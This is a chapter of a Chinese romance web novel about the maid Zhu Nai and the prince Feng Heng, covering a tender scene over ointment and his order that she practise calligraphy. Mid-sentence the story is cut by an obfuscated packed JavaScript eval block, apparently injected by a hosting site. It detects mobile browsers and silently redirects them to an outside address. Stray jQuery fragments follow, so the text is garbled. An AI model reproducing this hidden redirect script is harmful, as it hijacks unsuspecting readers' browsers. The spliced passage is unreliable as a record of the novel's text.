21. 第 21 章
作品:《靠背政治能攻略反派?》 他涂好药,将瓷瓶放进药箱。
祝奈扶着袖子,生怕沾到药膏。凑近了一些后,才闻到隐约的药味,不刺鼻,甚至还带着清香。
祝奈想起之前在梅园之后他也给过自己一瓶药,但她没用,准确来说是忘了用,后来淤青也好了。
梅园那晚后的第二日,她就总闻到一股药味,现在想起,和现在的这个味道有点像。
不过一会,小臂上的药呈透明状,几乎看不出上了药。
祝奈凑近,想仔细闻闻,他却忽然开口:“今早也有人难为你了?”
“嗯?”祝奈仔细想了一下,难道他问的是今早厨房里的事?不过也是,他的地盘,他自然会知道。
祝奈点头,坦然承认:“但我已经解决了。”
“为什么不告诉我?”他盖上药箱,抬头看她。
祝奈疑惑,为什么要告诉他?
“不是什么大事,我自己能解决。况且都是些无关痛痒的话。”她说完,忽然想到他好像也被波及,祝奈便以为他是在怪她——那些人嚼他舌根,她却没有及时禀告。
她恍然大悟,保持着扶着袖子的姿势站起,作势就要跪下:“奴婢知错。”
封珩看她忽然站起,本就不解,听到她的话,眼神中便带了些愠怒,垂目看她,在她膝盖即将触地之时抓住她的肩膀:“别跪。”
祝奈闻言,抬头看他。
封珩将她按回椅子上,语气带了些责怪的意味:“你没错,道什么歉。”
他见她歪着头看她,便知她应该是误会了什么,叹了口气,解释道:“我是想说,受了委屈,为什么不.....”他说了一半,忽然停下。
“今早状态不好,是因为早上的事?”他没有接着往下说,反而换了个问题。
祝奈看着他忽然停下后翳张的嘴唇和逐渐放松下来的身体,好像能猜到他未说出口的话。
她心跳漏了一拍,紧紧盯着他的嘴唇,但下一刻,他便换了个问题。
祝奈慢慢垂下眼,心中好像有种说不出的失落。她抿了抿唇,点头,然后慢慢垂下了头。
她盯着地面,片刻,眼前出现了一双玄靴。
封珩看到她弯下的颈部,察觉到她低落的情绪,便不自觉靠近了一些。当脚踏出了那一步后,他才后知后觉地想起——两人都不是孩童了,如今,两人什么关系都不是。
他忽地顿住,没再上前。
她的头顶离他的腹部只有一拳,他能清晰闻到她身上的味道,只要再近一点,就能碰到她了。
他不受控制地伸出了手,向她的发顶探去,却在即将碰到之时停下,僵硬地悬在半空。
他却忽然有些胆怯。
从小他就不允许表现出任何关于“欢喜”的情绪,那断掉的竹蜻蜓中间的断裂,像一道疤,深深地刻在他的心上。
他如今也有了一些自己的势力,但那真的能与父皇抗衡吗?若被发现,她是否也会成为那只断成两截的竹蜻蜓......
他指尖有些颤抖,咬咬牙,慢慢将手收回。
祝奈头低得有些久了,脖子有些酸。她看着停在眼前许久的玄靴,有些困惑,便想抬头看他在做什么。不想,她刚抬起,便感到头顶碰到了什么东西。
她不敢再往上,头定在原地,眼前是他的金镶玉束腰,她眼珠慢慢向上看去,便看见他的一只手抬起,一只延伸到自己的头顶。
他的身体将烛火遮了大半,她整个人都裹在他的影子下,就好像......被他揽在怀里。
封珩似乎也没想到她会突然抬头,冰冷的手掌忽然触碰到她发顶的柔软。
祝奈还是第一次看他脸上出现惊讶的表情,也是第一次知道,丹凤眼也能瞪成圆眼。
两人一时间都不敢动作,保持着一种奇怪又僵硬的姿势。
不知是谁忽然反应过来,祝奈复又将头猛地低下,封珩也收回了手,垂在身旁,握拳,又松开。
刚才她受到惊吓而哭泣时也感受到他抚过自己的发顶,但那时恐惧的心情占据上风,旖旎的氛围没有在心中散开。
但现在,书房里很安静,他又离得这么近,发顶的感觉犹在,祝奈仿佛能听见自己快速跳动的心跳声。她双手扣着椅子边缘,头都快埋进地里了。
她发顶柔软的触感犹在,封珩看向别处,指尖却轻刮过手心。虽然有些尴尬,但眼睛还是不自觉地看向她。她头低得极深,像想要缩进壳里的乌龟。
封珩的嘴角不自觉勾起,却在看见她紧贴在身侧的左手时眉头皱起。
他弯下身子,几乎与她齐平,扣住她的小臂:“沾到药了。”
祝奈侧头一看,小臂紧紧贴在身旁。她忙顺着封珩的动作将手臂撤开,一抬头,直接对上了他离得极近的面庞。
他垂头看向她的小臂,眉头微微皱起。他垂着眼,眼尾扬起,右眼眼角下方有一颗小痣。鼻梁高挺,薄唇有些不耐地抿起。
好性/感。祝奈忍不住咽了下口水。
他看了一会,猝不及防地抬眼看她。眼神相触,祝奈呼吸一滞。
作为牡丹,连男生的手都没碰过,更别说离得这么近了,祝奈觉得她现在嘟起嘴,就能碰到他的双唇。
她又咽了一下口水,直到看见封珩通红的耳根她才意识到她在想什么。
她身体猛地后仰,两人距离瞬间拉开。祝奈慌张地四处张望,然后突然站起,眼睛不敢看他,支支吾吾地说:“多、多谢王爷的药,我、啊不,奴婢、奴婢退下了。”说完,不等他回答,她就“簌”一声跑了出去。
回到房中,将门关上,祝奈靠在门后,胸腔上下起伏。
她感觉脸颊和耳朵仿佛烧起来一般,不用照镜子也知道她此时的脸肯定红了一片。
喘了许久,心跳还是狂跳不止。
祝奈将手背贴上面颊,试图将面上的燥热压下去,结果就是手背也变暖了。小臂上药膏的味道也在这时钻入鼻腔,好像还掺杂着他身上淡淡的沉香味。
另一边的封珩,保持着弯腰的姿势愣了许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200497|164135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
久,片刻,似才刚缓过神一般,缓缓捂住脸直起身子,但红透了淡淡耳朵仍露在外面。
心脏疯狂跳动,她身上的皂荚味仿佛还留在鼻尖,嘴角却已经不受控制地扬起。他坐到椅子上,平复着心情眼神瞟到一叠公文之上的一张纸。
他伸手拿过,上面的字歪歪扭扭,似刚习字的幼童,字与字之间还有几个奇怪的符号——这是祝奈书童考核时所写的,封珩从莫管家那拿了过来。
再看到这满纸歪斜的字迹,他还是忍不住扶额。他将每一个字都仔细看了一遍,又看到桌上的纸笔,脑海中浮现了一个想法。
他将祝奈写的字仔细收在右手边的抽屉里,又从身后的书架拿出一只新的紫檀笔,仔细用清水开笔,然后放在一旁晾干。
府中的人是最会看风向的,看到莫二辉的下场,他们便知该如何做了。莫二辉今夜纯属自己作,原本看在莫管家为瑛王府呕心沥血多年的面子上,不打算这么快动他,结果他自己送上门来。
蠢人总是会自己坑自己。
第二日,厨房中议论的话题果然变成了“二辉哥彻夜未归”以及引发的一系列猜测。那李二狗本还打算让莫二辉证明,结果连人都没见到,只得悻悻扒着碗中的稀粥。
祝奈因为昨日厨房的事,今日便不是很想去那吃早饭。知冬在厨房迟迟未见她来,便猜到了几分,走的时候悄悄拿了个饼,偷偷绕到她的住处,敲开了祝奈的房门。
祝奈看到知冬手中的饼也是十分惊喜,对着她道了好几声谢。
祝奈三口两口将饼吃完,就着凉水咽下后便去了书房。
书房里那盆梅花已经被祝奈养得很好了,枝干冒出的绿色也日渐茁壮,甚至有些都能看出叶片的形状。祝奈心满意足,转身朝里间走去。
刚转身,她便察觉里间好像有些不一样,仔细一看,在封珩的书桌旁添了一张稍微矮了一些的桌子,上面摆着笔墨纸砚。
这是要做什么?他要练字?
祝奈绕道桌子后,趁着没人,坐到那矮一些的桌子后面。封珩那张桌子对她来说有些高,这张的高度就刚刚好。她抬手,装模做样地在空白的纸上比划。
许是她太过入迷,又或是封珩走路就是没声音,直到他出现在外间朝她走来,她才发现,掩耳盗铃般猛地站起,恭敬地站着。
她垂着头,竖耳听着他愈来愈近的脚步,脚下悄悄挪动。
他走到桌边,祝奈听见他极轻的一声笑:“坐吧,这桌子本就是你的。”
嗯?给她的?
祝奈不解抬头,便看到他拉开抽屉,从抽屉里拿出一本书,丢在她面前:“字太丑了,有损王府颜面,从今日开始你就在这练字。”
祝奈想起她入府时写的那字,耳根爬上一抹红,无法反驳,只好认命地拿起他丢来的书。
封珩站在书桌后,侧头看了她一眼——垂着头,像一朵蔫了的花。
他不禁有些好笑,想起每个孩子幼时在学堂被要求抄书时也都是这个生无可恋的表情。